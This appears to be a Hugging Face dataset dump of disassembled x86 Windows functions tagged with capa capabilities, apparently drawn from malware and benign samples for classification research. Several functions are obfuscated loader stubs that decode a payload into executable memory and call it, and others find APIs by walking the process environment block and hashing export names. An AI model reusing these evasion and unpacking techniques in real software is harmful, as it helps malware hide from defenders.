joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d577610
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x6d57761f
pop dword [ebp - 0x24]
mov eax, 0x6d57761f
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x7e5dc925
add dword [ebp - 0x34], 0xcff47c26
mov dword [ebp - 0x30], 0xa7abc745
sub dword [ebp - 0x30], 0x75787b00
mov dword [ebp - 0x2c], 0x40076b46
sub dword [ebp - 0x2c], 0xf3bb2718
mov dword [ebp - 0x28], 0x8c83fc3f
sub dword [ebp - 0x28], 0x8c83fc3f
lea eax, [ebp - 0x34]
push eax
mov eax, 0xcb303059
sub eax, 0x5dd8a02d
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x5f44cf59
sub dword [ebp - 0x34], 0xead26603
mov dword [ebp - 0x30], 0x688ebc6f
add dword [ebp - 0x30], 0xd8dda506
mov dword [ebp - 0x2c], 0x258f400c
add dword [ebp - 0x2c], 0x3de02c60
mov dword [ebp - 0x28], 0xbfd00bf3
add dword [ebp - 0x28], 0x402ff40d
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x87dccb96
sub eax, 0x1a853b6e
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x398c7
push 0
call eax
mov ecx, 0x7a66f56
add ecx, 0xf859e17c
xor edi, edi
add edi, eax
mov ebx, 0xfa4fe99c
sub ebx, 0x8cf7fb9c
add ebx, dword [ebp - 0x24]
mov esi, 0x4a00a490
mov edx, dword [ebx]
xor dword [ebp - 4], 0xd0308cce
add edx, esi
sub dword [ebp - 0x1c], edx
mov dword [edi], edx
add edi, 0xafa7e928
add edi, 0x505816dc
add ebx, 4
loop 0x6d577738
add eax, 0x1361b
mov ebx, eax
add eax, 5
mov ecx, 0x534d9599
add ecx, 0x1a096a67
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x402f1d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x407468
cmp edx, dword [eax]
je 0x402f3f
add eax, 8
inc ecx
cmp eax, 0x4074f8
jl 0x402f30
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x407468]
jne 0x40306d
mov eax, dword [0x407a34]
cmp eax, 1
je 0x403047
test eax, eax
jne 0x402f70
cmp dword [0x407194], 1
je 0x403047
cmp edx, 0xfc
je 0x40306d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402fa7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403b50
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004033e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x402fea
lea eax, [ebp - 0x1a4]
push eax
call fcn.004033e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40643c
push edi
call fcn.004016f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403b50
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403b60
lea eax, [ebp - 0xa0]
push 0x40641c
push eax
call fcn.00403b60
push dword [esi + 0x40746c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403b60
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040483e
add esp, 0x2c
pop edi
jmp 0x40306d
lea eax, [ebp + 8]
lea esi, [esi + 0x40746c]
push 0
push eax
push dword [esi]
call fcn.004033e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x7728d675
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x77292004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, edx
test edi, edi
je 0x7728d6d8
push ecx
push ecx
push ecx
mov edx, 0x400
lea ecx, [ebp - 0x404]
call fcn.7728d418
push 0x77281880
mov edx, 0x400
lea ecx, [ebp - 0x404]
call fcn.7728d3ad
push edi
mov edx, 0x400
lea ecx, [ebp - 0x404]
call fcn.7728d3ad
lea ecx, [ebp - 0x404]
xor edi, edi
lea eax, [ebp - 0x408]
push edi
push eax
push edi
push 0xf003f
push edi
push edi
push edi
push ecx
push 0x80000000
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCreateKeyExA]
test eax, eax
jne 0x7728d725
push esi
call dword [sym.imp.api_ms_win_core_string_obsolete_l1_1_0.dll_lstrlenA]
inc eax
push eax
push esi
push 1
push edi
push ebx
push dword [ebp - 0x408]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExA]
push dword [ebp - 0x408]
mov esi, eax
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.77290850
mov esp, ebp
pop ebp
ret 8

Function at 0x7728d738
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x77292004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x108]
mov edi, edx
push eax
push 0xf003f
push 0
mov esi, ecx
push edi
push esi
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExA]
test eax, eax
jne 0x7728d7b2
jmp 0x7728d780
mov ecx, dword [ebp - 0x108]
lea edx, [ebp - 0x104]
call fcn.7729bd24
push 0x100
lea eax, [ebp - 0x104]
push eax
push 0
push dword [ebp - 0x108]
call dword [sym.imp.api_ms_win_core_registry_l2_1_0.dll_RegEnumKeyA]
test eax, eax
je 0x7728d76f
push dword [ebp - 0x108]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
push edi
push esi
call dword [sym.imp.api_ms_win_core_registry_l2_1_0.dll_RegDeleteKeyA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.77290850
mov esp, ebp
pop ebp
ret

Function at 0x77290a80
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x77290abe
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x77290ab6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x77290ac0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x77290aa6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x77290b90
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x77290ba6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x77290bc1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x7729625e
Capabilities:
Encode data using xor

Disassembly:
call 0x772961d7
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x77296207
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x77296223
xor edx, 0
jmp 0x7729622e
xor edx, edx
jmp 0x77296245
jmp 0x77296251
xor eax, eax
push 0x8427d7c0
call 0x7729625e
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x7729629a
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x77296273
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x772962b1
add eax, 0
jno 0x772962b6
add esi, 0
ret 0x10

Function at 0x7729701f
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x77297041
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x772971e3
cmp edi, dword [ebp + 0x10]
jb 0x772971e3
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.77296b0b
inc edi
jmp 0x772970ca
jmp 0x772970d7
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.77296b0b
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.77296b0b
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x7729712b
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x7729710f
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.77297159
add dword [eax], 0x39
jle 0x77297135
sub al, 0xf5
mov ch, al
call fcn.7729716e
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x77298e46
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x77298e5c
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x77298e6d
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.77298eae
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x7729b21a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x7729b163
add ebx, 0
push ecx
call 0x7729b178
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x70bf22ec
sub ebx, dword [0x70c11b2b]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x70c11b1b
call fcn.77296c42
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.77296150
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x7729b2d6
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x7729b2d6
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x7729b28d
mov eax, 1
lock xchg dword [0x70c11b27], eax
push 0x3dd1fc71
call 0x7729b21a
push esi
add esp, 8
cmp eax, 0
jne 0x7729b203
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x7729b229
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x7729b23e
cmp ecx, edx
cmp eax, 0
je 0x7729b263
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x7729b24d
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.7729b27c
dec eax
loope 0x7729b27f
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x70c11b27], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x7729b2b3
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x7729b2c8
jmp 0x7729b2d3
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x7729b1c1
Function at 0x772a233b
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x772a2611
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x70bfe79f
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x70bf5765
push 0xffffffffffffffff
call fcn.7729953b
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x772a23a5
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.772a23bd
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x772a2605
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x772a25d9
Function at 0x772b1e0b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x772b1e2d
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x772b1e2d
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x772b1e2d
ret
cmp word [ebx + 4], 0x14c
jne 0x772b1e2d
test word [ebx + 0x16], 2
je 0x772b1e2d
test word [ebx + 0x16], 0x100
je 0x772b1e2d
cmp word [ebx + 0x18], 0x10b
jne 0x772b1e2d
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x772b1e2d
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x772b1eb9
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x772b1e4d
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.77298d98
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x772b1e2d
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x772b1eb9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x772b1e2d
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x772b1e2d
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x772b1e2d
ret
cmp word [ebx + 4], 0x14c
jne 0x772b1e2d
test word [ebx + 0x16], 2
je 0x772b1e2d
test word [ebx + 0x16], 0x100
je 0x772b1e2d
cmp word [ebx + 0x18], 0x10b
jne 0x772b1e2d
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x772b1e2d
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x772b1eb9
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x772b1e4d
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.77298d98
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x772b1e2d
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x772b1f70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x772b1fc9
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x772b1f70
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x772b1f7f
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x776b7c22
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x772b1fd0
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.77298e46
cmp eax, dword [ebp + 0xc]
pop eax
je 0x772b206f
add edi, 4
add eax, 2
dec ecx
jne 0x772b1fb5
call 0x772b201c
loope 0x772b2012
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x772b206c
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x772b207d
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x772b2030
cmp eax, ecx
ja 0x772b2030
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x772b20ba
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x772b20b0
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.77299325
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x772b1f7f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x772b1fc9
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x772b1f70
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x772b1f7f
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x776b7c22
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x772b1fd0
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.77298e46
cmp eax, dword [ebp + 0xc]
pop eax
je 0x772b206f
add edi, 4
add eax, 2
dec ecx
jne 0x772b1fb5
call 0x772b201c
loope 0x772b2012
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x772b206c
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x772b207d
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x772b2030
cmp eax, ecx
ja 0x772b2030
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x772b20ba
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x772b20b0
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.77299325
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x405a7c
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x660
mov eax, dword [ebp + 0xc]
and eax, 0xff
test eax, eax
je 0x405acb
mov dword [ebp - 4], 0
jmp 0x405aa3
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0xa
jge 0x405ac6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x405ac4
jmp 0x405ac6
jmp 0x405a9a
jmp 0x405bb1
push 0x104
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
jne 0x405aea
jmp 0x405bb1
lea edx, [ebp - 0x660]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov word [ebp - 0x630], 0
mov eax, dword [ebp - 0x634]
or al, 0x81
mov dword [ebp - 0x634], eax
mov dword [ebp - 0x654], str.Cleanup...
push 0x104
lea ecx, [ebp - 0x61c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea edx, [ebp - 0x518]
push edx
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [ebp - 0x518]
push ecx
lea edx, [ebp - 0x414]
push edx
call fcn.00409730
add esp, 8
push str._CLEANUP
lea eax, [ebp - 0x414]
push eax
call fcn.00409740
add esp, 8
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x414]
push edx
call fcn.00409740
add esp, 8
push 0x412140
lea eax, [ebp - 0x660]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x518]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esp, ebp
pop ebp
ret
Function at 0x405bb5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [str.ARM.TMP]
mov dword [ebp - 0x31c], eax
mov ecx, dword [0x4113c0]
mov dword [ebp - 0x318], ecx
mov dl, byte [0x4113c4]
mov byte [ebp - 0x314], dl
push 0x104
lea eax, [ebp - 0x310]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea ecx, [ebp - 0x310]
push ecx
call fcn.004098f0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405c18
mov edx, dword [ebp - 4]
mov byte [edx + 1], 0
jmp 0x405c2c
push 0x41259c
lea eax, [ebp - 0x310]
push eax
call fcn.00409730
add esp, 8
push 0x104
lea ecx, [ebp - 0x424]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea edx, [ebp - 0x424]
push edx
call fcn.004098f0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405cb1
mov eax, dword [ebp - 4]
add eax, 1
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.00409730
add esp, 8
push 0x2e
lea edx, [ebp - 0x108]
push edx
call fcn.004098f0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x405c9e
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00409830
add esp, 8
mov dword [ebp - 4], eax
push str..TMP
mov ecx, dword [ebp - 4]
push ecx
call fcn.00409730
add esp, 8
jmp 0x405cc5
push 0x4125a0
lea edx, [ebp - 0x108]
push edx
call fcn.00409730
add esp, 8
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov byte [ebp - 0x320], 1
mov ecx, dword [ebp + 8]
and ecx, 0xff
test ecx, ecx
je 0x405d37
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x310]
push eax
call fcn.00405d6d
add esp, 8
and eax, 0xff
test eax, eax
jne 0x405d11
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x20c]
push edx
call fcn.00405d6d
add esp, 8
and eax, 0xff
test eax, eax
jne 0x405d37
mov byte [ebp - 0x320], 0
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x310]
push ecx
call fcn.00405d6d
add esp, 8
lea edx, [ebp - 0x31c]
push edx
lea eax, [ebp - 0x20c]
push eax
call fcn.00405d6d
add esp, 8
mov al, byte [ebp - 0x320]
mov esp, ebp
pop ebp
ret